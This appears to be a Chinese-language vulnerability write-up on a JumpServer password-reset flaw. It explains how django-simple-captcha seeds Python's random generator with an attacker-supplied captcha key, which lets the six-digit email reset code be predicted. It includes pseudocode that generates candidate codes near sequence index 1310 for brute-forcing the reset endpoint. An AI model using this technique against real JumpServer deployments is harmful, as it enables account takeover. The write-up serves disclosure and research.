jumpserver random种子问题导致的密码重置漏洞

jumpserver random种子问题导致的密码重置漏洞

官方公告链接: https://github.com/jumpserver/jumpserver/security/advisories/GHSA-7prv-g565-82qp

This vulnerability is due to a third-party library exposing the random number seed to the API, potentially allowing the randomly generated verification codes to be replayed, which could lead to password resets.

The affected versions: v2.24 - v3.6.4.

If MFA is enabled not affect.
If not using local auth not affect (admin may be local if not disabled).

To prevent the vulnerability from being exploited, the more details are withheld for now.

漏洞成因

影响次漏洞的原因在于 django-simple-captcha​库,问题出自文件

https://github.com/mbi/django-simple-captcha/blob/6a506d0590ef58f816d0ef60395a94a489d0ea09/captcha/views.py#L41​中的captcha_image​函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def captcha_image(request, key, scale=1):
if scale == 2 and not settings.CAPTCHA_2X_IMAGE:
raise Http404
try:
store = CaptchaStore.objects.get(hashkey=key)
except CaptchaStore.DoesNotExist:
# HTTP 410 Gone status so that crawlers don't index these expired urls.
return HttpResponse(status=410)

# 设置random.seed
random.seed(key) # Do not generate different images for the same key

text = store.challenge
.....

这个功能直接调用于

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
urlpatterns = [
re_path(
r"image/(?P<key>\w+)/$",
views.captcha_image,
name="captcha-image",
kwargs={"scale": 1},
),
re_path(
r"image/(?P<key>\w+)@2/$",
views.captcha_image,
name="captcha-image-2x",
kwargs={"scale": 2},
),
...
]

所以,当图片验证码存在时,请求image/[验证码hash]/​ 时,会将hash设置为随机数种子。

而一旦设置了一个固定的随机数种子,我们将可以得到整个随机序列

Jumpserver中的利用

前台密码重置

写本文的时候只对jumpserver v3.6.4进行了测试

看了下jumpserver的代码,在前台存在一个reset password功能,此功能会在重置密码的时候发送一个邮件,邮件中包含一个六位纯数字的验证码。

1
2
3
4
5
6
7
8
9
10
11
12

def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):
args_names = ['lower', 'upper', 'digit', 'special_char']
args_values = [lower, upper, digit, special_char]
args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]
args_string_map = dict(zip(args_names, args_string))
kwargs = dict(zip(args_names, args_values))
kwargs_keys = list(kwargs.keys())
kwargs_values = list(kwargs.values())
args_true_count = len([i for i in kwargs_values if i])
......
return password

结合django-simple-captcha​的漏洞来看,验证码生成的内容其实是我们可“预测”的。

以下是在研究过程中研究出来的几种利用方式

  1. 固定seed之后,生成长度为n的随机序列,对密码重置接口进行6位长度移位取验证码进行验证。

    伪代码

    1
    2
    3
    4
    5
    6
    random.seed("[hash key]")
    # 方便演示,自定义了2000
    v = random_string(2000, lower=False, upper=False)

    for i in range(1500):
    print(v[i: i+6])

    将生成的验证码使用burp爆破(除最新版以外,不判断次数)

    ​​image​​

  2. 上面方法请求稍微多了一点,经过多次测试发现, 设置random种子之后触发接口,每次验证码会出现在大概序列下标1310左右,可能往左/往右浮动一点,优化验证码生成算法

    1
    2
    3
    4
    5
    6
    random.seed("[key]")
    v = random_string(2000, lower=False, upper=False)
    # 可以自己设置浮动
    pos = 20
    for i in range(1310-pos, 1310+pos):
    print(v[i: i+6])

    image

    (可以看到200次以内就可以获取到,其实可以更少)